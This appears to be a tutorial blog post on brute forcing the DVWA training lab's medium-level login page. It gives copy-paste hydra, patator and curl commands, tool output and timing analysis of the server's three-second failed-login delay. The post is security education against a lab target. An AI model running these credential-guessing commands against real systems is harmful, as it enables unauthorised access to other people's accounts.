DVWA - Brute Force (Medium Level) - Time Delay

This post is a "how to" guide for Damn Vulnerable Web Application (DVWA)'s brute force module on the medium security level. It is an expansion from the "low" level (which is a straightforward HTTP GET form attack), and then grows into the "high" security post (which involves CSRF tokens). There is also an additional brute force option on the main login screen (consisting of POST redirects and a incorrect anti-CSRF system).

Brute Force DVWA Medium Level

Once again, let's pretend we do not know any credentials for DVWA.

Let's play dumb and brute force DVWA... again ...again!


TL;DR: Quick copy/paste

1
2
3
4
5
6
7
8
9
10
11
12
13
CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)
curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null

hydra  -L /usr/share/seclists/Usernames/top_shortlist.txt  -P /usr/share/seclists/Passwords/rockyou-40.txt \
  -e ns  -F  -u  -t 4  -w 15  -v  -V  192.168.1.44  http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area:H=Cookie\: security=medium; PHPSESSID=${SESSIONID}"

patator  http_fuzz  method=GET  follow=0  accept_cookie=0  --threads=4  timeout=15  --max-retries=0 \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/rockyou-40.txt \
  header="Cookie: security=medium; PHPSESSID=${SESSIONID}" \
  -x quit:fgrep='Welcome to the password protected area'

Objectives

  • The goal is to brute force an HTTP login page.
    • GET requests are made via a form.
    • The web page is in a sub folder.
  • Low
  • Medium
    • Extends on the "low" level - HTTP GET attack via a web form.
    • Adds in a static time delay (3 seconds) on failed logins.
  • High
    • Extends on the "low" level - HTTP GET attack via a web form.
    • This time uses a random time delay (between 0 and 4 seconds) instead.
    • Uses an anti Cross-Site Request Forgery (CSRF) token.
  • Impossible
    • Submits data via HTTP POST via web form
    • Accounts will lock out after 5 failed logins.
      • Time delay before becoming unlocked (15 minutes).
      • Unable to enumerate users on the system.
      • Possible "Denial of Service (DoS)" vector.
  • PHPIDS
    • Does not protect against this attack.
    • All attack methods are still the same!

Setup

  • Main target: DVWA v1.10 (Running on Windows Server 2012 Standard ENG x64 + IIS 8).
    • Target setup does not matter too much for this - Debian/Arch Linux/Windows, Apache/Nginx/IIS, PHP v5.x, or MySQL/MariaDB.
    • The main target is on the IP (192.168.1.44), port (80) and subfolder (/DVWA/), which is known ahead of time.
    • Because the target is Windows, it does not matter about case sensitive URL requests (/DVWA/ vs /dvwa/).
  • Attacker: Kali Linux v2 (+ Personal Custom Post-install Script).
    • Shell prompt will look different (due to ZSH/Oh-My-ZSH).
    • Added colour to tools output (thanks to GRC).

Both machines are running inside a Virtual Machine (VMware ESXi).


Tools

  • cURL - Information gathering (used for viewing source code & to automate generating sessions).
  • THC-Hydra v8.1 - A brute force tool.
  • Patator v0.5 - An alternative brute force tool.
  • SecLists - General wordlists.
    • These are common, default and small wordlists.
    • Instead of using a custom built wordlist, which has been crafted for our target (e.g. generated with CeWL).

Creating a Session Cookie

This was covered in the first post, low level, which will act as a "base" to this post. I'm not going to cover this again, so if things are not clear, I highly suggest you read over the previous post first.

The command has not changed; the target has not changed, so the output and result will be the same as the levels below.

1
2
3
4
5
6
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]# sed -i '/security/d' dvwa.cookie
[root:~]#

Session Cookie

Note, depending on the web server & its configuration, it may respond slightly differently (in the screenshot: 192.168.1.11 is Nginx,192.168.1.22 is Apache & 192.168.1.44 is IIS). This is a possible method to fingerprint an IIS web server.


Information Gathering

Form HTML Code

The first thing is, to try and find out what is different (without looking at the server side PHP source code). Using the same commands as before, let's see what the HTML code page is for the web form.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root:~]# curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<div class="body_padded/,/<\/div/p'
< div class="body_padded">
  <h1>Vulnerability: Brute Force</h1>

  <div class="vulnerable_code_area">
    <h2>Login</h2>

    <form action="#" method="GET">
      Username:<br />
      <input type="text" name="username"><br />
      Password:<br />
      <input type="password" AUTOCOMPLETE="off" name="password"><br />
      <br />
      <input type="submit" value="Login" name="Login">

    </form>

  </div>
        <div class="body_padded"><div class="message">You have logged in as 'admin'</div></div>

      </div>
[root:~]#

Form HTML Code

Does not look too different from before, but let's check.

1
2
3
4
5
[root:~]# curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<div class="body_padded/,/<\/div/p' > low.txt
[root:~]# curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<div class="body_padded/,/<\/div/p' > medium.txt
[root:~]#
[root:~]# diff {low,medium}.txt
[root:~]#

Form HTML Code Check

There is nothing different between the pages. Okay, now what happens if we compare responses when logging in incorrectly, with an invalid user credential?

1
2
3
4
5
6
7
8
9
[root:~]# curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' > low.txt
[root:~]# curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' > medium.txt
[root:~]#
[root:~]# !diff   #diff {low,medium}.txt
91c91
<         <input type="button" value="View Help" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_help.php?id=brute&security=low' )"> <input type="button" value="View Source" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_source.php?id=brute&security=low' )"> <div align="left"><em>Username:</em> admin<br /><em>Security Level:</em> low<br /><em>PHPIDS:</em> disabled</div>
---
>         <input type="button" value="View Help" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_help.php?id=brute&security=medium' )"> <input type="button" value="View Source" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_source.php?id=brute&security=medium' )"> <div align="left"><em>Username:</em> admin<br /><em>Security Level:</em> medium<br /><em>PHPIDS:</em> disabled</div>
[root:~]#

Low vs Medium

Looking at just the output, other than the core DVWA information, there is not any difference in the brute force module displayed output. However, making the request, there was a noticeable time difference in response times.

1
2
3
4
5
6
7
8
9
10
[root:~]# time curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null
curl -s -b 'security=low' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 13% cpu 0.058 total
[root:~]#
[root:~]# for loop in {1..3}; do
for> time curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null
for> done
curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null  0.01s user 0.00s system 0% cpu 3.065 total
curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null  0.01s user 0.00s system 0% cpu 3.041 total
curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null  0.01s user 0.00s system 0% cpu 3.058 total
[root:~]#

Cool Down

It is clear that there is now a three second time delay when trying to login with incorrect credentials. This by itself will not offer brute force protection; however, it might mean it will slow down the brute force speed, increasing the time needed for the attack. The question is, will it also have the time delay on a successful login? Without a valid user credential to login as with, we cannot know this (there is not a "register"/"sign up" page and we were not given any in our pretend scope). What we should now do is setup a cloned environment in a test lab (as the project is free and open source) and either look at the source code or login with our admin account. However, we are going to pretend it is a custom built application so we cannot duplicate the setup. We are also going to skip the "view source" function which is in-built to DVWA's core, allowing us to see how the module works.


Attack Vectors

There are two possible ways we can approach this now. The first method, just as before, is the same brute force command, however, this time make sure the "timeout" value is able to cope with the additional wait delay from DVWA (the 3 seconds cool down) as well as all the threads/system load produced. This means there could be a significant time increase to perform the brute force. Alternatively, what happens if we set the timeout value to be less than three seconds? We would not be able to use a large number of threads (a larger thread count, means more requests, more requests result is the system working harder, therefore taking longer to process our request). This is a possible option and only an option because by using the rest of the site, all our requests take less than a second to load (so it depends on the network connection speed and target performance), therefore we are assuming (and taking an educated guess) that there would not be a delay with a valid login.

So what happens if we make four requests, one after another? This would mean request #2-#4 needs to be sent inside the three second cool down of request #1. Does request #4 only take three seconds to respond back or does it have to wait the additional time of the all the other request's cool down time too? We can find out by doing the following:

1
2
3
4
5
6
7
date; curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null & \
  curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null & \
  curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null & \
  curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null & \
  curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null && date
sleep 30s
done

Before we execute this, I will explain what is happening (as it will get a little more complex when executed). All of this is a single "command" (even though it is on multiple lines, it is chained together). It can be broken down like so:

  • date - This will display the date/time for our starting point.
  • ; - Once the previous command finishes, regardless of the exit code, run the next command.
  • curl -s ... - Make an invalid login attempt to the target.
  • &- "background" the previous command, allowing the rest of the commands to keep on running without waiting.
  • \ - instructs bash there is an additional line and not to execute the command just yet.
  • curl... + & - these are repeated another 3 times (requests #2-#4).
  • && - Signals to wait for the previous command to finish. If it was successful, to move onto the next command.
  • date - Display the end date, when request #4 finishes.
  • sleep 30s - Wait 30 seconds before doing the next loop. This is to allow all the other requests to finish.

TL;DR: Display the time before starting. On the 4th (and final?) request, display the time again after the cURL command finishes executing. Compare both timestamps.

It is always good practice to repeat a test multiple times, to make sure the results are consistent (Let's forget: "Insanity: doing the same thing over and over again and expecting different results." ~ Albert Einstein).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[root:~]# for loop in {1..3}; do
for> echo -e "\nLoop: $loop"
for> date; curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null & \
for>   curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null & \
for>   curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null & \
for>   curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null & \
for>   curl -s -b 'security=medium' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' >/dev/null && date
for> sleep 30s
for> done

Loop: 1
Fri 30 Oct 22:28:25 GMT 2015
[2] 28074
[3] 28075
[4] 28076
[5] 28077
[2]    28074 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
[4]  - 28076 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
[3]  - 28075 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
Fri 30 Oct 22:28:37 GMT 2015
[5]  + 28077 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null

Loop: 2
Fri 30 Oct 22:29:07 GMT 2015
[2] 28136
[3] 28137
[4] 28138
[5] 28139
Fri 30 Oct 22:29:10 GMT 2015
[4]  - 28138 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
[5]  + 28139 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
[2]  - 28136 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
[3]  + 28137 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null

Loop: 3
Fri 30 Oct 22:29:40 GMT 2015
[2] 28195
[3] 28196
[4] 28197
[5] 28198
[3]    28196 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
[4]  - 28197 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
Fri 30 Oct 22:29:49 GMT 2015
[2]  - 28195 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
[5]  + 28198 done       curl -s -b 'security=medium' -b dvwa.cookie  > /dev/null
[root:~]#

Cool Down Test

...Looks like we are not going too crazy, as there were different results!

  • Loop 1: 12 seconds.
  • Loop 2: 3 seconds.
  • Loop 3: 9 seconds.

Unfortunately, this means when we do our brute force attempt we need to allow for the maximum possible wait time. There are no shortcuts; otherwise we may not get reliable results (thus wasting all of our time).

Just because we have finished making requests or brute forcing it, does not mean the web application is still processing requests/cooling down.


Minimum Wait Time

We can calculate the minimum value for the wait time as follows:

1
2
3
(threads * web app cool down) + leeway == minimum wait time amount.

(4 * 3) + 2 == 14 seconds.

The 2 seconds for the leeway amount is a "safe net" in case of there being an additional lag (would need to be higher if based on the slowest point in the attack). Note, in the low security posting the value was set to 3 seconds.

This means there could be a possible extra 11 seconds of wait time between "low" and "medium" when using 4 threads. This is because there is a guaranteed of at least 3 seconds delay for each thread.

Again, if the wait time is too low, it will not find a successful login. See the "low level" for a deeper explanation.

Note, if this was a "live" box in production, which means other users could be using it, what happens if they are failing to login at the same time as we brute force? This might have an effect; is the cool down based upon session values, IP, or complete web application?


Brute Forcing

Hydra

We are using the same arguments as in the low level, however their values may be different.

Debug/Test command:

  • (1 thread * 3 seconds sleep) + 2 seconds extra = 5 second wait time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
[root:~]# hydra  -l admin  -p password \
  -e ns  -F  -t 1  -w 5  -v  -V  192.168.1.44  http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=medium; PHPSESSID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-30 21:41:22
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "admin" - 1 of 3 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "" - 2 of 3 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "password" - 3 of 3 [child 0]
[80][http-get-form] host: 192.168.1.44   login: admin   password: password
[STATUS] attack finished for 192.168.1.44 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-30 21:41:29
[root:~]#

hydra


Main Command:

  • (5 threads * 3 seconds sleep) + 2 seconds sleep = 17 seconds wait time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root:~]# unset HYDRA_PROXY_HTTP; rm -f hydra.restore
[root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null
[root:~]#
[root:~]# time  hydra  -L /usr/share/seclists/Usernames/top_shortlist.txt  -P /usr/share/seclists/Passwords/rockyou.txt \
  -e ns  -F  -u  -t 5  -w 17  -v  192.168.1.44  http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=medium; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-30 21:42:01
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 5 tasks per 1 server, overall 64 tasks, 157788400 login tries (l:11/p:14344400), ~493088 tries per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[STATUS] 24.00 tries/min, 24 tries in 00:01h, 157788376 todo in 109575:16h, 5 active
[80][http-get-form] host: 192.168.1.44   login: admin   password: password
[STATUS] attack finished for 192.168.1.44 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-30 21:44:55
hydra -L /usr/share/seclists/Usernames/top_shortlist.txt -P  -e ns -F -u -t 5  1.47s user 0.41s system 1% cpu 2:54.26 total
[root:~]#

hydra attack


Patator

We are using the same arguments as in the low level, however their values may be different.

Debug/Test command:

  • (1 thread * 3 seconds sleep) + 2 seconds leeway = 5 seconds wait time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root:~]# echo -n 'admin\n\npassword' > /root/password.txt
[root:~]#
[root:~]# patator  http_fuzz  method=GET \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
  0=/root/password.txt \
  header="Cookie: security=medium; PHPSESSID=${SESSIONID}" \
  http_proxy=127.0.0.1:8080 \
  --threads=1  timeout=5 \
  -x quit:fgrep!='Username and/or password incorrect.',clen!='-1'
20:39:18 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2015-10-30 20:39 GMT
20:39:18 patator    INFO -
20:39:18 patator    INFO - code size:clen     | candidate                        |   num | mesg
20:39:18 patator    INFO - ----------------------------------------------------------------------
20:39:21 patator    INFO - 200  5223:4954     | admin                            |     1 | HTTP/1.1 200 OK
20:39:24 patator    INFO - 200  5223:4954     |                                  |     2 | HTTP/1.1 200 OK
20:39:24 patator    INFO - 200  5285:5016     | password                         |     3 | HTTP/1.1 200 OK
20:39:24 patator    INFO - Hits/Done/Skip/Fail/Size: 3/3/0/0/3, Avg: 0 r/s, Time: 0h 0m 6s
20:39:24 patator    INFO - To resume execution, pass --resume 3
[root:~]#

Patator


Main Command:

  • (5 threads * 3 seconds sleep) + 2 seconds safe net = 17 seconds wait time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
[root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null
[root:~]#
[root:~]# time  patator  http_fuzz  method=GET \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/rockyou.txt \
  header="Cookie: security=medium; PHPSESSID=${SESSIONID}" \
  --threads=5  timeout=17 \
  -x quit:fgrep!='Username and/or password incorrect.',clen!='-1'
20:40:03 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2015-10-30 20:40 GMT
20:40:04 patator    INFO -
20:40:04 patator    INFO - code size:clen     | candidate                        |   num | mesg
20:40:04 patator    INFO - ----------------------------------------------------------------------
20:40:07 patator    INFO - 200  5310:5041     | 123456:info                      |     5 | HTTP/1.1 200 OK
20:40:10 patator    INFO - 200  5223:4954     | 123456:test                      |     3 | HTTP/1.1 200 OK
20:40:13 patator    INFO - 200  5223:4954     | 123456:root                      |     1 | HTTP/1.1 200 OK
20:40:16 patator    INFO - 200  5223:4954     | 123456:guest                     |     4 | HTTP/1.1 200 OK
20:40:20 patator    INFO - 200  5223:4954     | 123456:admin                     |     2 | HTTP/1.1 200 OK
20:40:23 patator    INFO - 200  5223:4954     | 123456:oracle                    |    10 | HTTP/1.1 200 OK
20:40:26 patator    INFO - 200  5223:4954     | 123456:user                      |     8 | HTTP/1.1 200 OK
20:40:29 patator    INFO - 200  5223:4954     | 123456:adm                       |     6 | HTTP/1.1 200 OK
20:40:32 patator    INFO - 200  5223:4954     | 123456:administrator             |     9 | HTTP/1.1 200 OK
20:40:35 patator    INFO - 200  5223:4954     | 123456:mysql                     |     7 | HTTP/1.1 200 OK
20:40:38 patator    INFO - 200  5223:4954     | 12345:guest                      |    15 | HTTP/1.1 200 OK
20:40:41 patator    INFO - 200  5223:4954     | 12345:admin                      |    13 | HTTP/1.1 200 OK
20:40:44 patator    INFO - 200  5223:4954     | 123456:ftp                       |    11 | HTTP/1.1 200 OK
20:40:47 patator    INFO - 200  5223:4954     | 12345:test                       |    14 | HTTP/1.1 200 OK
20:40:50 patator    INFO - 200  5223:4954     | 12345:root                       |    12 | HTTP/1.1 200 OK
20:40:53 patator    INFO - 200  5223:4954     | 12345:administrator              |    20 | HTTP/1.1 200 OK
20:40:56 patator    INFO - 200  5223:4954     | 12345:mysql                      |    18 | HTTP/1.1 200 OK
20:40:59 patator    INFO - 200  5223:4954     | 12345:info                       |    16 | HTTP/1.1 200 OK
20:41:02 patator    INFO - 200  5223:4954     | 12345:user                       |    19 | HTTP/1.1 200 OK
20:41:05 patator    INFO - 200  5223:4954     | 12345:adm                        |    17 | HTTP/1.1 200 OK
20:41:08 patator    INFO - 200  5223:4954     | 123456789:test                   |    25 | HTTP/1.1 200 OK
20:41:11 patator    INFO - 200  5223:4954     | 123456789:root                   |    23 | HTTP/1.1 200 OK
20:41:14 patator    INFO - 200  5223:4954     | 12345:oracle                     |    21 | HTTP/1.1 200 OK
20:41:17 patator    INFO - 200  5223:4954     | 123456789:admin                  |    24 | HTTP/1.1 200 OK
20:41:20 patator    INFO - 200  5223:4954     | 12345:ftp                        |    22 | HTTP/1.1 200 OK
20:41:23 patator    INFO - 200  5223:4954     | 123456789:user                   |    30 | HTTP/1.1 200 OK
20:41:26 patator    INFO - 200  5223:4954     | 123456789:adm                    |    28 | HTTP/1.1 200 OK
20:41:30 patator    INFO - 200  5223:4954     | 123456789:guest                  |    26 | HTTP/1.1 200 OK
20:41:33 patator    INFO - 200  5223:4954     | 123456789:mysql                  |    29 | HTTP/1.1 200 OK
20:41:36 patator    INFO - 200  5223:4954     | 123456789:info                   |    27 | HTTP/1.1 200 OK
20:41:36 patator    INFO - 200  5285:5016     | password:admin                   |    35 | HTTP/1.1 200 OK
20:41:51 patator    INFO - 200  5223:4954     | 123456789:administrator          |    31 | HTTP/1.1 200 OK
20:41:51 patator    INFO - 200  5223:4954     | 123456789:oracle                 |    32 | HTTP/1.1 200 OK
20:41:51 patator    INFO - 200  5223:4954     | 123456789:ftp                    |    33 | HTTP/1.1 200 OK
20:41:51 patator    INFO - 200  5223:4954     | password:root                    |    34 | HTTP/1.1 200 OK
20:41:51 patator    INFO - 200  5223:4954     | password:mysql                   |    40 | HTTP/1.1 200 OK
20:41:51 patator    INFO - Hits/Done/Skip/Fail/Size: 36/36/0/0/157788301, Avg: 0 r/s, Time: 0h 1m 46s
20:41:51 patator    INFO - To resume execution, pass --resume 7,7,7,7,8
patator http_fuzz method=GET   0=/usr/share/seclists/Passwords/rockyou.txt     2.13s user 0.22s system 2% cpu 1:48.39 total
[root:~]#

Patator main attack

See how the numbers in the "num" column are different? That is the thread ordering finishing. You can see on the timestamp, in the first column which increases every three seconds. The successful login is indicated by having a different page size (5285) and content length amount (5016).


Summary

Benchmark

Same targets and setup as before with the low level:

  • 192.168.1.11 - Raspberry Pi v1 "B" // Nginx v1.8.0 // PHP v5.6.14 // MariaDB v10.0.21
  • 192.168.1.22 - Raspberry Pi v2 "B" // Apache v2.4.10 // PHP v5.6.13 // MySQL v5.5.44
  • 192.168.1.33 - Windows XP SP3 (VM: 1 Core/512 MB) // Apache v2.4.10 (XAMPP v1.8.2) // PHP v5.4.31 // MySQL v5.5.39
  • 192.168.1.44 - Windows Server 2012 (VM: 1 Core/2048 MB) // IIS v8.0 // PHP v5.6.0 // MySQL v5.5.45

Increasing the thread count here is not going to have a major effect. The key here is the wait time being long enough (for the built in delay for the web app cool down and thread count). The rest is down to "luck" with the ordering of threads finishing. As long as there is always a request/thread which is waiting to be processed, due to the three second cool down, there cannot be any performance benefit by increasing the threads. If anything, having a larger amount of threads here will only make it more complicated.

A possible way to attempt to speed up the attack is to use a "better" wordlist; e.g. targeted towards the target, sorted by popularity, have only base-words in the list (i.e.: password rather than password1999), no leading/trailing spaces/tabs and no duplicate entries.

Results: (With 15 seconds timeout)

HYDRA 192.168.1.11 192.168.1.22 192.168.1.33 192.168.1.44
1 Thread 19 mins 09 secs 20 mins 01 secs 18 mins 26 secs 17 mins 50 secs
2 Threads 19 mins 03 secs 17 mins 40 secs - 17 mins 43 secs
4 Threads 19 mins 00 secs 17 mins 43 secs - 17 mins 46 secs
-------------------------------------------------------------------------------------
PATATOR 192.168.1.11 192.168.1.22 192.168.1.33 192.168.1.44
1 Thread 18 mins 19 secs 17 mins 30 secs 17 mins 44 secs 17 mins 24 secs
2 Threads 18 mins 12 secs 17 mins 35 secs - 17 mins 25 secs
4 Threads 18 mins 15 secs 17 mins 39 secs - 17 mins 28 secs
-------------------------------------------------------------------------------------

192.168.1.33 is still unable to handle multiple threads, just like in the low security level.


Why is Hydra slower than Patator?

TL;DR: Hydra makes an additional unwanted GET request.

So both in the low level and medium level, Patator has outperformed Hydra. It is time to try and look into why.

Looking back at the help screen for Hydra, man hydra:

1
2
-w TIME
defines the max wait time in seconds for responses (default: 32)

That makes sense. Now, let's use a proxy (Burp Suite), and hook in both Hydra and Patator and attack the same target. We will use the same password wordlist, wait times, thread count and total possible combinations to try. Because we are using a proxy, we can monitor; what is being sent and when it happens, then compare the results. The top image is Hydra, the bottom is Patator. The values highlighted in orange show the requests which contain our GET parameters, used to brute forced.

Why is Hydra slower than Patator

So there are two things which stands out:

  • Hydra is making double the amount of requests compared to Patator.
    • Half the requests are with GET parameters (which is what we would expect to see), and the rest is without any parameters set (undesired?).
    • The request styles are being alternated, one with GET parameters, one without, one with, without...
    • So it seems they are being sent out as a "pair" of requests.
  • The timings of the first two requests (aka the first "pair") are different from all other sets.
    • These two requests are being sent out at the same time as each other.
    • All the other requests wait for the previous one to timeout.
    • This is why Hydra takes much longer, having to wait for the extra (unused?) GET request (without any parameters) to timeout.

So there are two seconds between each attempt to brute force, however, we will only wait for one second to see if there is a reply back (then sit around for the same amount of time "doing nothing, wasting time"). Increasing the thread count is not going to speed this up!

What does this mean? How could we predict the maximum amount of time needed to-do the brute force attack?

  • Hydra
    • (possible combinations amount + (possible combinations amount - 1 pair sending at the same time )) = total amount of requests * timeout value = total time.
    • (5 combinations + (4 unwanted requests)) = 9 requests * 1 second = 9 seconds to complete.
  • Patator
    • possible combinations amount = total amount of requests * timeout value = total time.
    • 5 combinations = 5 requests * 1 second = 5 seconds to complete.
    • The reason why time reported Patator took 6 seconds, there is a little delay between Patator opening up and closing down. Patator has its own inbuilt counter, which displays it took 5 seconds.

Hydra can be sped up, by creating a drop rule for the undesired GET request. An example of this can be found when we did the main login page.

Note, normally the logic would be for every thread wait 3 seconds (1 thread * cool down seconds). However, because Hydra's extra GET & wait, every thread waits 1.5 seconds (1 thread * cool down seconds/2). This did trip me up, as I was able to do more threads without having to increase the timeout value.


Conclusion

This attack is very similar to the low level, as a result we are able to use the same PoCs (bash / python) without any alterations. Adding a cool down time on failed logins is not a deterrent for brute force and is not adequate protection. The wait delay will only increase the time needed to perform the attack, slowing down the attack speed.